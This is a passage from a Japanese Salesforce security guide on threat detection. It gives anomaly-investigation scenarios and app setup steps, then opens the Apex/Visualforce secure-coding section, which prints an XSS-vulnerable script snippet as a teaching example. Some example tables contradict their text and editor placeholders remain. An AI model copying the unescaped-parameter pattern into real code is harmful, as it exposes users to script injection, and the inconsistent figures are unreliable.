が約 5 万行であることにも気が付きました。この組織にとって 5 万行は小さな数値ではありません。そこで、
Bob は UserId からユーザが Alice であることを突き止めました。ReportEvent イベントを見ると、Alice が通常生成
するレポートの行数は 1,000 ～ 10,000 の範囲です。ただし、ごく稀に 5 万行を超えるレポートを生成することも
ありました。userAgent 特性の寄与度は比較的小さく、これは Alice が出張中はモバイルデバイスを使用するこ
とが少ないことに起因している可能性があります。numberFilters 特性と periodOfDay 特性の寄与度は小さいため、
重要ではありません。
Alice はこの自律システムをめったに使用せず、Alice が通常生成するものよりもレポートが大きかったため、
Bob はこのレポートを通常のアクティビティの範疇外と結論付けます。けれども、この悪意のある行為の実行
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者が Alice なのか攻撃者なのかを実証できません。脅威の軽減策を講じる前に、この件に関する情報をさらに
収集することにします。

関連トピック:

プラットフォームイベント開発者ガイド: ReportAnomalyEvent

プラットフォームイベント開発者ガイド: ReportEvent

検知イベントに悪意のあることが確定した場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

サンフランシスコを拠点とする営業担当の John は出張することがよくあります。
週 1 回の営業プレゼンテーションのために、担当するリードのレポートを定期
的にダウンロードしています。John は 500 ～ 1,000 人のリードにアクセスでき、
週次レポートのダウンロードに含まれる行数は通常 500 ～ 1,000 行です。
2019 年 5 月 12 日、John のアカウントを使用して、996,262 行のレポートがダウン
ロードされました。John の組織のシステム管理者である Kate が、このレポート
生成アクティビティに関する ReportAnomalyEvent に気が付きました。このイベン
トには次の情報が示されています。

値ReportAnomalyEvent 項目

95.48515Score

96.43.144.26SourceIp

2019-05-12T12:22:10.298+00:00EventDate

00530000009M943UserId

00OD0000001leVCMAYReport

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が示されています。

featureContributionfeatureValuefeatureName

99.37%996262rowCount

0.27%Starbucks Coffee CompanyautonomousSystem

0.13%SundaydayOfWeek

0.06%1507averageRowSize

0.02%-userAgent

Kate は詳しい調査に取りかかります。UserId から、John のアカウントを使用してレポートがダウンロードされ
たことが判明しました。そこで、John の ReportEvent イベントを検索したところ、John は週次レポートを生成し
ていますが、その行数はわずか 500 ～ 1,000 行であることを知ります。表に、この異常に対する rowCount の寄

332

脅威検知Salesforce セキュリティガイド

https://developer.salesforce.com/docs/atlas.en-us.platform_events.meta/platform_events/sforce_api_objects_reportanomalyevent.htm
https://developer.salesforce.com/docs/atlas.en-us.platform_events.meta/platform_events/sforce_api_objects_reportevent.htm


与度がほぼ 100% であると示されています。この特性の寄与度の値は、このレポート生成アクティビティに異
常のフラグを設定するうえでの rowCount の重要性を示す数値です。John はこれまで一貫して小規模なレポート
(500 ～ 1,000 行) を生成していたため、100 万行のレポートはその傾向から著しく逸脱しています。このために
特性の寄与度の値が高くなっています。
Kate はさらなる調査で、John のアカウントが乗っ取られ、攻撃者が営業チーム全体のデータにアクセスできる
ように John のアクセス権を昇格させていたことを突き止めました。その結果、John が担当するセールスリー
ドだけでなく、営業チーム全体のセールスリードがレポートに記載されていました。
Kate は、この検知イベントには悪意があると結論付け、脅威のさらなる軽減策を講じます。

関連トピック:

プラットフォームイベント開発者ガイド: ReportAnomalyEvent

プラットフォームイベント開発者ガイド: ReportEvent

API 異常

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

異常とは、そのユーザの過去のアクティビティとは明らかに異なるユーザアク
ティビティのことです。Salesforce では、API 生成とその周辺アクティビティに関
する Salesforce コアアプリケーションログのメタデータを使用して、履歴アクティ
ビティのベースラインモデルを構築します。そして、新しい API 生成アクティビ
ティをこのベースラインと比較して、新しいアクティビティが異常といえるほ
ど異なっているかどうかを判断します。ユーザが操作する実際のデータを Salesforce

が調べることはありません。Salesforce はユーザがデータをどのように操作して
いるのかを確認します。

このセクションの内容:

トレーニングステップと推測ステップ
機械学習や統計の他のモデルと同様、Salesforce の検知モデルにも、トレーニ
ングステップと推測または検知ステップというお馴染みの 2 段階プロセスが
あります。このどちらのステップもお客様が実施することはありません。お
客様に変わって Salesforce が実行するためです。お客様がすることは、検知
モードで生成された検知イベントを確認し、必要に応じて対策を講じるだけです。
API 要求の異常の調査
多くの場合、データ侵害が発生したかを判断するため、または無害として排除するために、API 要求の異常
をさらに調査する必要があります。
API 要求の異常を調査する場合のベストプラクティス
普段とは異なるユーザ行動を調査するときは、次のヒントやベストプラクティスを参考にしてください。
データの安全性について、十分な情報に基づいて評価するために必要な情報を見つけます。
API 要求の異常検知の例
ここでは、異常な API 要求イベントを徹底的に調査する方法を示すいくつかの例を紹介します。
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トレーニングステップと推測ステップ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

機械学習や統計の他のモデルと同様、Salesforce の検知モデルにも、トレーニン
グステップと推測または検知ステップというお馴染みの 2 段階プロセスがあり
ます。このどちらのステップもお客様が実施することはありません。お客様に
変わって Salesforce が実行するためです。お客様がすることは、検知モードで生
成された検知イベントを確認し、必要に応じて対策を講じるだけです。

トレーニングステップ
Salesforce アプリケーションログに基づくメタデータを使用して、さまざまな属
性 (特性ともいう) を抽出します。Salesforce では、レポート生成とその周辺アク
ティビティに関する 90 日間のメタデータを使用します。モデルの向上に伴い、
特性の実際のリストも変化します。
こうした特性を使用して、ユーザの典型的なレポート生成アクティビティのモ
デルを構築します。このステップをモデルトレーニングといいます。Salesforce

ではトレーニングされたモデルを使用して、2 つ目のステップで異常を検知しま
す。

推測 (または検知) ステップ
検知ステップでは、各ユーザのあらゆるレポート生成アクティビティをチェックし、モデルのトレーニングに
使用される同じ特性セットを抽出します。そして、特性をユーザの典型的な行動モデルと比較して、検討対象
のアクティビティが著しく異なっているかどうかを判断します。

異常スコア
各レポート生成アクティビティがユーザの典型的なアクティビティと比較してどの程度異なっているかに基づ
いて、各アクティビティに異常スコアの数値が割り当てられます。異常スコアは常に 0 ～ 100 の数値で、大概
は百分率で表されます。異常スコアが低いということは、ユーザのレポート生成アクティビティがユーザの典
型的なアクティビティと似ているということです。異常スコアが高いということは、ユーザのレポート生成ア
クティビティがユーザの典型的なアクティビティと異なっているということです。

臨界しきい値
すべてのレポート生成イベントに異常スコアが割り当てられますが、すべての生成イベントが異常なわけでは
ありません。しきい値を使用して、どのレポート生成イベントがユーザの典型的なアクティビティと十分に異
なっているかを判断します。異常スコアが臨界しきい値を上回るイベントが異常とみなされます。
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API 要求の異常の調査

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

多くの場合、データ侵害が発生したかを判断するため、または無害として排除
するために、API 要求の異常をさらに調査する必要があります。
Shield ユーザの場合は、リアルタイムイベント監視イベントに、調査を実施する
ために必要な情報が提示されます。具体的には、次のようになります。
• ApiAnomalyEvent とその情報を保存する ApiAnomalyEventStore では、ユーザによ

る API コールの実行に関する異常を追跡します。これらのオブジェクトが調
査の出発点になります。

• ApiEventStream とその情報を保存する ApiEvent では、ユーザが開始した参照の
みの API コールを追跡します。これらのオブジェクトは、リアルタイムのレ
ポート実行または API 実行履歴を確認するために使用します。

• LoginEventStream (とその情報を保存する LoginEvent) は、組織のすべてのログイ
ンアクティビティを追跡します。

たとえば、ユーザの API コールにおける異常の可能性を示す ApiAnomalyEvent を組
織が受信したとします。ここで最初にすることは、イベントの関連する項目を
確認し、異常に関する次のような基本情報を得ることです。
• Score: このユーザの API アクティビティが通常のアクティビティとどれほど異なっているかを表す数値。

数値が大きいほど、逸れていることになります。
• UserId: ユーザの一意の ID。
• EventDate: API 要求が発生した時刻。
• SecurityEventData: 行数や曜日など、この異常検知に対する寄与度が最大の特性を示す JSON 項目。寄与

する可能性のある特性の完全リストについては、この表 (ページ 334)を参照してください。
• Summary: イベントのテキスト形式の概要。
項目の完全リストについては、API ドキュメントを参照してください。
次の SOQL クエリのサンプルは、上記の項目値を返します。
SELECT Score, UserId, EventDate, SecurityEventData, Summary
FROM ApiAnomalyEventStore

SecurityEventData項目には、この異常検知をトリガした寄与要因が示されるため、詳しく見ていきましょ
う。サンプルデータは次のようになります。
[
{
"featureName": "rowCount",
"featureValue": "1937568",
"featureContribution": “95.00 %"
},
{
"featureName": "autonomousSystem",
"featureValue": "Bigleaf Networks, Inc.",
"featureContribution": “1.62 %"
},
{
"featureName": "dayOfWeek",
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"featureValue": "Sunday",
"featureContribution": “1.42 %"
},
{
"featureName": "userAgent",
"featureValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}",
"featureContribution": “1.21 %"
},
{
"featureName": "periodOfDay",
"featureValue": “Evening”,
"featureContribution": “.09 %"
},
{
"featureName": "averageRowSize",
"featureValue": "744",
"featureContribution": “0.08 %"
},
{
"featureName": "screenResolution",
"featureValue": "900x1440",
"featureContribution": “0.07 %"
}
]

この異常検知に対する寄与度が最大 (95.00%) の特性は rowCount で、値は 1937568 です。この特性は、ユーザが
1,937,568 行のレポートを表示またはエクスポートしたことを示します。履歴データを見ると、このユーザがこ
れほど多くのデータを表示またはエクスポートすることはほとんどありません。スコアに対する他の特性の寄
与度ははるかに小さくなっています。たとえば、このユーザはレポートを日曜日に実行していますが、この特
性による全体スコアに対する寄与度はわずか 1.42% です。
こうしたデータがあれば、調査をさらに進めることができます。

関連トピック:

プラットフォームイベント開発者ガイド: ApiAnomalyEvent

プラットフォームイベント開発者ガイド: ApiEvent
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API 要求の異常を調査する場合のベストプラクティス

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

普段とは異なるユーザ行動を調査するときは、次のヒントやベストプラクティ
スを参考にしてください。データの安全性について、十分な情報に基づいて評
価するために必要な情報を見つけます。
関係のあるユーザを特定する。

お客様のプライバシーに対する配慮により、Salesforce が顧客データやレポー
ト内のデータにアクセスすることはできません。したがって、Salesforce が提
供できるのは、異常とマークされたレポートを生成したユーザのユーザ ID の
みです。このユーザ ID を使用して、検知イベントに関連付けられている人物
のユーザ名や他の詳細を割り出します。
項目: ApiAnomalyEvent.UserId

タイムスタンプを利用する。
Salesforce の検知モデルではすでに、タイムスタンプから得られるさまざまな
特性を検討し、レポート生成アクティビティが異常かどうかを判断していま
す。このタイムスタンプを使用して、確認する必要のあるイベントを絞り込
むことができます。また、レポートを生成したユーザにとって、レポート生成時刻が普段と異なっている
かどうかも判断できます。
項目: ApiAnomalyEvent.EventDate

異常に寄与している要因に着目する。
寄与要因の JSON 出力に、特性のリスト (ページ334)が寄与度の高い順に示されます。イベントログを調査す
るときは、寄与度が上位の特性から見ていきます。上位の特性が普段とは異なると思われる場合には、異
常を確定する証拠が判明したり、データ侵害の可能性が示唆されたりすることがあります。
項目: ApiAnomalyEvent.SecurityEventData

ユーザの典型的な行動に照らして異常を検討する。
ReportAnomalyEvent 項目値を使用して、検知イベント内のユーザアクティビティがそのユーザにとって典型
的なものかどうかを判断します。たとえば、特定した IP アドレスからレポートを生成することが、そのユー
ザにとって典型的なことかどうかを検討します。
項目: ApiAnomalyEvent.SourceIp

レポートのサイズを検討する。
Salesforce では、レポートのサイズからレポート生成が異常かどうかを判断します。通常より大きなレポー
トを生成しているユーザは、データの不正エクスポートを試みている可能性があります。たとえば、ユー
ザのアカウントへのアクセス権を不正に取得した攻撃者が、アクセス権が失効する前にできるだけ多くの
データを盗取していることがあります。または、不満を抱いている従業員が、雇用主のニーズの範疇を超
えた用途のためにデータを盗み出しているのかもしれません。
項目: ApiAnomalyEvent.SecurityEventData  (特に rowCount の特性名)

すべての異常に悪意があるわけではない。
異常の中には、悪意をはらむ可能性のあるものもあれば、普段とは異なるものの、正当である場合もあり
ます。Salesforce の検知モデルでは、普段とは異なるが、悪意のない検知イベントが生成されることがあり
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ます。たとえば、ある従業員が新しい役職に昇進し、以前より大きなレポートを生成するようになった場
合、Salesforce のモデルによってこの行動に異常のフラグが設定されることがあります。

関連トピック:

プラットフォームイベント開発者ガイド: ApiAnomalyEvent

プラットフォームイベント開発者ガイド: ApiEvent

API 要求の異常検知の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ここでは、異常な API 要求イベントを徹底的に調査する方法を示すいくつかの例
を紹介します。

このセクションの内容:

API 検知イベントが異常ではない場合
開発者である Jason は、API を使用して日曜日に取引先オブジェクトを照会し
ます。彼は 10,000 件のレコードを取得します。
API 検知イベントがおそらく異常である場合
比較的新しい営業業務リードである Rob は、API を使用して商談オブジェクト
を照会し、1,000 万件のレコードを抽出します。以前は異なるブラウザを使用
して、異なる IP アドレスから同じオブジェクトを照会していました。
API 検知イベントが異常だが明らかに悪意があるわけではない場合
Alice はセントルイスを拠点とする営業担当です。クライアントを訪問するた
めに出張することが多々あります。出張時は大概、会社の VPN を使用して
Salesforce にログインしますが、使用しないこともあります。
API 検知イベントに悪意のあることが確定した場合
Salesforce ユーザの Alan は、API を使用して商談オブジェクトを照会し、1,000 万件のレコードを抽出します。
Alan が商談オブジェクトを照会するのは初めてであり、この IP アドレスを使用してログインします。
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API 検知イベントが異常ではない場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

開発者である Jason は、API を使用して日曜日に取引先オブジェクトを照会しま
す。彼は 10,000 件のレコードを取得します。
このイベントには次の情報が含まれています。

値APIAnomalyEvent 項目

.5801Score

96.43.144.30SourceIp

2020-03-27T07:45:07.192ZEventDate

00530000009M946UserId

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が含まれています。

featureContributionfeatureValuefeatureName

95.00%1937568rowCount

1.62%Bigleaf Networks, Inc.autonomousSystem

1.42%SundaydayOfWeek

1.21%Mozilla/5.0 (Windows NT 10.0、Win64、
x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}

userAgent

0.09%EveningperiodOfDay

0.08%744averageRowSize

0.07%900x1440screenResolution

Salesforce システム管理である Alia は、日曜日に取引先オブジェクトから 10,000 件のレコードが取得されたこと
に気が付きます。彼女はさらに調査を行います。Alia は UserId項目値から、ユーザが Jason であることを突き
止めます。その後、Jason の過去のアクティビティを調べます。彼女は開発者である Jason が、ほんの一握りの
レコードから 20,000 件のレコードまで、さまざまな件数のレコードを取得していることに気が付きます。Alia

は、dayOfWeek および periodOfDay 特性で、Jason が日曜日や夜間に作業することが多いことにも気が付き
ます。
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Alia は、このアクティビティは Jason の典型的なアクティビティの範疇であるため、この検知イベントは異常で
はないと結論付けます。

関連トピック:

プラットフォームイベント開発者ガイド: ApiAnomalyEvent

プラットフォームイベント開発者ガイド: ApiEvent

API 検知イベントがおそらく異常である場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

比較的新しい営業業務リードである Rob は、API を使用して商談オブジェクトを
照会し、1,000 万件のレコードを抽出します。以前は異なるブラウザを使用して、
異なる IP アドレスから同じオブジェクトを照会していました。
このイベントには次の情報が含まれています。

値APIAnomalyEvent 項目

.7212Score

96.43.144.28SourceIp

2019-01-15T07:45:07.192ZEventDate

00530000009M945UserId

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が含まれています。

featureContributionfeatureValuefeatureName

95.00%1937568rowCount

1.62%Bigleaf Networks, Inc.autonomousSystem

1.42%SundaydayOfWeek

29.21%Mozilla/5.0 (Windows NT 10.0、Win64、
x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}

userAgent

0.09%EveningperiodOfDay

0.08%744averageRowSize

0.07%900x1440screenResolution

セキュリティ監査人である Tony は Salesforce 組織にとって rowCount 特性がやや高いことに気が付きました。
2 番目に高い特性は userAgent で、寄与度は約 30% です。この比率は、このユーザエージェント、つまりブ
ラウザが組織にとって一般的なものではないことを示唆します。Tony は UserId項目を使用して Rob を検索し
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ます。そして、Rob が最近入社した従業員であることを知ります。Tony は <項目または特性名が必要> イベン
トを参照し、Rob が以前に別のブラウザと IP アドレスを使用していたことに気が付きます。Rob が比較的新し
い従業員であることから、Tony はこのレポートが Rob の典型的な活動パターンと一致するのかどうか確信が持
てません。
Tony は、この検知が異常である可能性があると結論付けます。

関連トピック:

プラットフォームイベント開発者ガイド: ApiAnomalyEvent

プラットフォームイベント開発者ガイド: ApiEvent

API 検知イベントが異常だが明らかに悪意があるわけではない場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

Alice はセントルイスを拠点とする営業担当です。クライアントを訪問するため
に出張することが多々あります。出張時は大概、会社の VPN を使用して Salesforce

にログインしますが、使用しないこともあります。
2020 年 7 月 27 日、Alice のアカウントは、比較的新しい IP アドレスからオブジェ
クトを照会するために使用されていました。Alice の Salesforce 組織のシステム管
理者である Bob が、このレポート生成アクティビティに関する APIAnomalyEvent に
気が付きました。このイベントには次の情報が示されています。

値APIAnomalyEvent 項目

.8671Score

96.43.144.27SourceIp

2015-07-27T07:45:07.192ZEventDate

00530000009M944UserId

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が含まれています。

featureContributionfeatureValuefeatureName

95.00 %50568rowCount

73.4 %Bigleaf Networks, Inc.autonomousSystem

1.42 %SundaydayOfWeek

29.21%Mozilla/5.0 (Windows NT 10.0、Win64、
x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}

userAgent

0.09 %EveningperiodOfDay

0.08 %744averageRowSize
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featureContributionfeatureValuefeatureName

0.07 %900x1440screenResolution

Salesforce システム管理者である Bob は、最上位の特性が IP アドレスから判明した自律システムで、寄与度が
73.4% であることを知ります。この比率は、Alice がこの自律システムをめったに使用しないことを示していま
す。Bob はまた、rowCount が約 5 万行であることにも気が付きました。この組織にとって 5 万行は小さな数
値ではありません。そこで、Bob は UserId からユーザが Alice であることを突き止めました。<ここにイベン
ト名が必要> イベントを見ると、Alice が通常生成するレポートの行数は 1,000 ～ 10,000 の範囲です。ただし、ご
く稀に 5 万行を超えるレポートを生成することもありました。userAgent 特性の寄与度は比較的小さく、こ
れは Alice が出張中はモバイルデバイスを使用することが少ないことに起因している可能性があります。
numberFilters 特性と periodOfDay 特性の寄与度は小さいため、重要ではありません。
Alice はこの自律システムをめったに使用せず、Alice が通常生成するものよりもレポートが大きかったため、
Bob はこのレポートを通常のアクティビティの範疇外と結論付けます。けれども、この悪意のある行為の実行
者が Alice なのか攻撃者なのかを実証できません。この件に関する情報をさらに収集することにします。

関連トピック:

プラットフォームイベント開発者ガイド: ApiAnomalyEvent

プラットフォームイベント開発者ガイド: ApiEvent

API 検知イベントに悪意のあることが確定した場合

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

Salesforce ユーザの Alan は、API を使用して商談オブジェクトを照会し、1,000 万件
のレコードを抽出します。Alan が商談オブジェクトを照会するのは初めてであ
り、この IP アドレスを使用してログインします。
このイベントには次の情報が含まれています。

値APIAnomalyEvent 項目

.95851Score

96.43.144.26SourceIp

2019-05-12T12:22:10.298+00:00EventDate

00530000009M943UserId

(次の表を参照)SecurityEventData

SecurityEventData 項目には次の情報が含まれています。

featureContributionfeatureValuefeatureName

95.00%1937568rowCount

1.62%Bigleaf Networks, Inc.autonomousSystem
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featureContributionfeatureValuefeatureName

1.42%SundaydayOfWeek

29.21%Mozilla/5.0 (Windows NT 10.0、Win64、
x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}

userAgent

0.09%EveningperiodOfDay

0.08%744averageRowSize

0.07%900x1440screenResolution

セキュリティ監査人である Kate が調査を開始します。彼女は UserIdを使用して、Alan のアカウントが商談オ
ブジェクトの照会に使用されたと判断します。次に、Alan の行動を検索し、商談オブジェクトを照会したこと
がないことに気づきます。この表から、この異常に対する rowCount の寄与度がほぼ 100% であることがわか
ります。この特性の寄与度の値は、このレポート生成アクティビティに異常のフラグを設定するうえでの
rowCountの重要性を示す数値です。Alan は小規模なレポート (500 ～ 1,000 行) を生成したことがないため、100

万行のレポートはその傾向から著しく逸脱しています。このために特性の寄与度の値が高くなっています。
Kate は次に、Alan のアカウントが乗っ取られ、攻撃者が営業チーム全体のデータにアクセスできるように Alan

のアクセス権を昇格させていたことを突き止めました。その結果、Alan が担当するセールスリードだけでな
く、営業チーム全体のセールスリードがレコードに含まれています。
Kate は、この検知イベントに悪意があると結論付けます。

関連トピック:

プラットフォームイベント開発者ガイド: ApiAnomalyEvent

プラットフォームイベント開発者ガイド: ApiEvent
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脅威検知イベントの表示とフィードバックの提供

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

脅威検知イベントを参照
する
• 「脅威検知イベントの

表示」

脅威検知アプリケーションを起動すると、Salesforce 組織で発生し、検知された
すべての脅威が表示されます。脅威には、ユーザによるレポート実行の異常、
セッションハイジャックの試行、クレデンシャルスタッフィングなどが含まれ
ます。同じアプリケーションを使用して、特定の脅威の重要度に関するフィー
ドバックを簡単に提供できます。

このセクションの内容:

脅威検知アプリケーションのユーザへの表示
Salesforce に脅威検知イベントを表示してフィードバックを提供するために
は、事前にこのアプリケーションをユーザに表示できるようにしておく必要
があります。また、4 つのタブのどれをどのユーザプロファイルに表示する
かも指定します。
イベントの表示とフィードバックの提供
脅威検知アプリケーションを使用して、Salesforce UI に最近またはすべての脅
威検知イベントを表示します。表示されるイベントは、対応する保存オブ
ジェクト (ReportAnomalyEventStore、SessionHijackingEventStore、
CredentialStuffingEventStore) に保存されています。「悪意あり」や「脅威ではな
い」など、脅威の深刻度を記録するフィードバックオブジェクトを特定のイ
ベントに関連付けます。
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脅威検知アプリケーションのユーザへの表示

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

脅威検知イベントを参照
する
• 「脅威検知イベントの

表示」

Salesforce に脅威検知イベントを表示してフィードバックを提供するためには、
事前にこのアプリケーションをユーザに表示できるようにしておく必要があり
ます。また、4 つのタブのどれをどのユーザプロファイルに表示するかも指定し
ます。
1. イベントマネージャを使用して、3 種類の脅威検知イベント

(ReportAnomalyEvent、SessionHijackingEvent、CredentialStuffingEvent) のストリーミン
グと保存を有効にします。

2. Salesforce ライセンスに関連付けられた権限セットを作成します。
3. 権限セットの [システム権限] ページを編集し、[脅威検知イベントを表示] 権

限を有効にします。
4. 脅威検知アプリケーションを管理するユーザにこの権限セットを割り当てま

す。
脅威検知の管理を担当するセキュリティ管理者専用のプロファイルを作成す
ることをお勧めします。たとえば、脅威検知管理者というプロファイルを作
成します。そして、脅威検知管理者プロファイルが設定されているユーザに
この権限セットを割り当てます。

5. 脅威検知アプリケーションを使用する各ユーザプロファイルの [タブの設定]

を編集し、4 つのタブの表示を指定します。4 つのタブは、[レポート異常イ
ベントストア]、[セッションハイジャックイベントストア]、[クレデンシャル
スタッフィングイベントストア]、[脅威検知フィードバック] です。
たとえば、システム管理者は通常 UI を使ってあらゆる機能にアクセスするた
め、システム管理者プロファイルでは 4 つのすべてのタブの表示を [デフォルトで表示] に設定します。脅
威検知管理者プロファイルを作成した場合も、同じ表示を設定します。標準ユーザがフィードバックを表
示できないようにする場合は、標準ユーザプロファイルの [脅威検知フィードバック] の表示を [タブを隠す]

に設定します。
6. [設定] で、[クイック検索] ボックスに「アプリケーションマネージャ」と入力し、Lightning Experience アプリ

ケーションマネージャに移動します。
7. 脅威検知アプリケーションの右側にあるドロップダウンボックスで [編集] を選択し、このアプリケーショ

ンを編集します。
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8. [プロファイルへの割り当て] セクションで、脅威検知アプリケーションを表示可能にするプロファイルを
選択します。

9. 変更内容を保存します。
これで選択したユーザが脅威検知アプリケーションを表示できるようになります。

関連トピック:

Salesforce ヘルプ: イベントマネージャを使用したストリーミングイベントの監視
Salesforce ヘルプ: 権限セット
Salesforce ヘルプ: 権限セットでのアプリケーションおよびシステムの設定
Salesforce ヘルプ: 権限セットとプロファイルでのタブ設定の表示と編集
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イベントの表示とフィードバックの提供

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

脅威検知イベントを参照
する
• 「脅威検知イベントの

表示」

脅威検知アプリケーションを使用して、Salesforce UI に最近またはすべての脅威
検知イベントを表示します。表示されるイベントは、対応する保存オブジェク
ト (ReportAnomalyEventStore、SessionHijackingEventStore、CredentialStuffingEventStore) に
保存されています。「悪意あり」や「脅威ではない」など、脅威の深刻度を記
録するフィードバックオブジェクトを特定のイベントに関連付けます。
デフォルトでは、脅威検知アプリケーションを Salesforce に表示できません。必
要に応じて、「脅威検知アプリケーションのユーザへの表示」の説明に従って
表示可能にします。
1. アプリケーションランチャーで、[脅威検知] をクリックします。

2. タブをクリックすると、ReportAnomalyEventStore、SessionHijackingEventStore、
CredentialStuffingEventStore の各オブジェクトに保存されている最近またはすべ
てのイベントのリストビューが表示されます。

3. リンクをクリックすると、そのイベントの詳細が表示されます。イベントの
発生日、スコア、イベントの概要などの情報が示されます。
イベントの種別ごとに、検知された脅威の種類に応じた詳細も表示されます。たとえば、[セッションハイ
ジャックイベントストア] タブには、以前および現在のブラウザフィンガープリント情報が表示されます。
[レポート異常イベントストア] タブには、検知された脅威に関連付けられたレポート ID が表示されます。
[関連] をクリックすると、関連付けられているフィードバックが表示されます (フィードバックがある場
合)。

4. [フィードバックを提供] をクリックして、検知された脅威が悪意あり、疑わしい、脅威ではない、不明の
いずれに該当するかを指定します。
各イベントに関連付けることができるフィードバックオブジェクトは 1 つのみです。複数のフィードバッ
クオブジェクトを指定しようとすると、エラーが発生します。フィードバックを指定後に脅威の深刻度が
変化した場合は、応答を編集します。
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関連トピック:

プラットフォームイベント開発者ガイド: リアルタイムイベント監視オブジェクト

Apex および Visualforce 開発のセキュリティガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます)

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Visualforce は、
Database.com Edition では
利用できません。

カスタムアプリケーションを開発する場合のコードの脆弱性を理解し、その対
策を講じます。

セキュリティとは
Apex および Visualforce ページの強力な組み合わせにより、Lightning Platform 開発者
は、Salesforce にカスタム機能およびビジネスロジックを提供したり、Lightning

Platform 内部で実行するまったく新しいスタンドアロン製品を作成したりできま
す。ただし、プログラミング言語と同様、開発者はセキュリティ関連の不備に
ついて認識する必要があります。
Salesforce は、複数のセキュリティ防御を Lightning Platform 自体に統合しました。
ただし、不注意な開発者は多くの場合に組み込み防御をスキップし、アプリケー
ションと顧客をセキュリティ上のリスクにさらしている場合があります。開発
者が Lightning Platform 上で犯す多くのコーディングエラーは、一般的な Web アプ
リケーションのセキュリティ脆弱性と類似していますが、一部のコーディング
エラーは Apex 固有のものです。
AppExchange のアプリケーションを認証するには、開発者がここで説明するセキュ
リティ上の弱点について学習および理解しておくことが重要です。詳細は、
https://developer.salesforce.com/page/Security にある Salesforce Developers の Lightning Platform セキュリティリソースの
ページを参照してください。
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クロスサイトスクリプト (XSS)
クロスサイトスクリプト (XSS) の攻撃は、悪意のある HTML またはクライアント側のスクリプトが Web アプリ
ケーションに提供される、幅広い範囲の攻撃となります。Web アプリケーションには、Web アプリケーション
のユーザに対する悪意のあるスクリプトが含まれています。ユーザは、知らぬ間に攻撃の被害者となります。
攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを
使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻
撃されやすいといえます。Web サイトに対する攻撃は、あるユーザからの入力が別のユーザに表示されること
を目的としている場合は特に単純です。可能性として、掲示板、ユーザコメントスタイルの Web サイト、
ニュース、またはメールアーカイブなどがあります。
たとえば、次のスクリプトがスクリプトコンポーネント、on* イベント、または Visualforce ページを使用する
Lightning プラットフォームページに使用されているとします。
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

